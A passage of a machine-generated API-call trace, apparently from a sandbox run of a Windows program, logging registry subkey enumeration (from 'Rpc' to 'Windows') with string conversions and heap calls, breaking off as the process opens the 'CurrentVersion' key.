RegEnumKeyW (in: hKey=0x38, dwIndex=0x5c, lpName=0x49b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0221.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0221.708] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5d, lpName=0x49b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0221.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0221.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x49c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0221.708] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5e, lpName=0x49b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0221.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0221.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x49c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0221.709] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5f, lpName=0x49b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0221.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0221.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x49c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0221.709] RegEnumKeyW (in: hKey=0x38, dwIndex=0x60, lpName=0x49b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0221.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0221.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0221.709] RegEnumKeyW (in: hKey=0x38, dwIndex=0x61, lpName=0x49b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0221.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0221.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x49c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0221.709] RegEnumKeyW (in: hKey=0x38, dwIndex=0x62, lpName=0x49b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0221.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0221.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0221.709] RegEnumKeyW (in: hKey=0x38, dwIndex=0x63, lpName=0x49b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0221.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0221.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x49c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0221.709] RegEnumKeyW (in: hKey=0x38, dwIndex=0x64, lpName=0x49b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0221.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0221.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x49c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0221.709] RegEnumKeyW (in: hKey=0x38, dwIndex=0x65, lpName=0x49b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0221.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0221.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x49c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0221.709] RegEnumKeyW (in: hKey=0x38, dwIndex=0x66, lpName=0x49b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0221.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0221.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x49c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0221.711] RegEnumKeyW (in: hKey=0x38, dwIndex=0x67, lpName=0x49b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0221.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0221.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x49c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0221.711] RegEnumKeyW (in: hKey=0x38, dwIndex=0x68, lpName=0x49b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0221.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0221.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x49c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0221.711] RegEnumKeyW (in: hKey=0x38, dwIndex=0x69, lpName=0x49b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0221.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0221.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x49c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0221.711] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6a, lpName=0x49b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0221.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0221.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0221.711] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6b, lpName=0x49b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0221.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0221.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x49c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0221.711] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6c, lpName=0x49b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0221.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0221.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x49c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0221.711] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6d, lpName=0x49b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0221.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0221.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x49c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0221.711] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6e, lpName=0x49b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0221.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0221.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x49c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0221.712] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6f, lpName=0x49b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0221.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0221.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x49c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0221.712] RegEnumKeyW (in: hKey=0x38, dwIndex=0x70, lpName=0x49b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0221.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0221.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x49c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0221.712] RegEnumKeyW (in: hKey=0x38, dwIndex=0x71, lpName=0x49b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0221.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0221.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x49c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0221.712] RegEnumKeyW (in: hKey=0x38, dwIndex=0x72, lpName=0x49b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0221.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0221.712] RegEnumKeyW (in: hKey=0x38, dwIndex=0x73, lpName=0x49b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0221.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x49c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0221.712] RegEnumKeyW (in: hKey=0x38, dwIndex=0x74, lpName=0x49b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0221.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0221.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0221.712] RegEnumKeyW (in: hKey=0x38, dwIndex=0x75, lpName=0x49b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0221.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0221.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x49c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0221.713] RegEnumKeyW (in: hKey=0x38, dwIndex=0x76, lpName=0x49b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0221.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0221.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x49c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0221.713] RegEnumKeyW (in: hKey=0x38, dwIndex=0x77, lpName=0x49b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0221.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0221.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x49c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0221.713] RegEnumKeyW (in: hKey=0x38, dwIndex=0x78, lpName=0x49b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0221.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0221.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0221.713] RegEnumKeyW (in: hKey=0x38, dwIndex=0x79, lpName=0x49b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0221.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0221.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x49c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0221.713] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7a, lpName=0x49b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0221.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0221.713] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7b, lpName=0x49b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0221.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0221.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x49c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0221.714] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7c, lpName=0x49b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0221.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0221.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0221.714] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7d, lpName=0x49b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0221.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x49c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0221.714] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7e, lpName=0x49b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0221.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0221.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x49c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0221.714] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7f, lpName=0x49b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0221.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0221.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x49c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0221.714] RegEnumKeyW (in: hKey=0x38, dwIndex=0x80, lpName=0x49b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0221.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0221.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0221.714] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0221.714] RegCloseKey (hKey=0x38) returned 0x0 [0221.714] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x49b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0221.715] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0221.715] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x49c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0221.715] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.715] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.715] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.715] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.715] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentVersion", 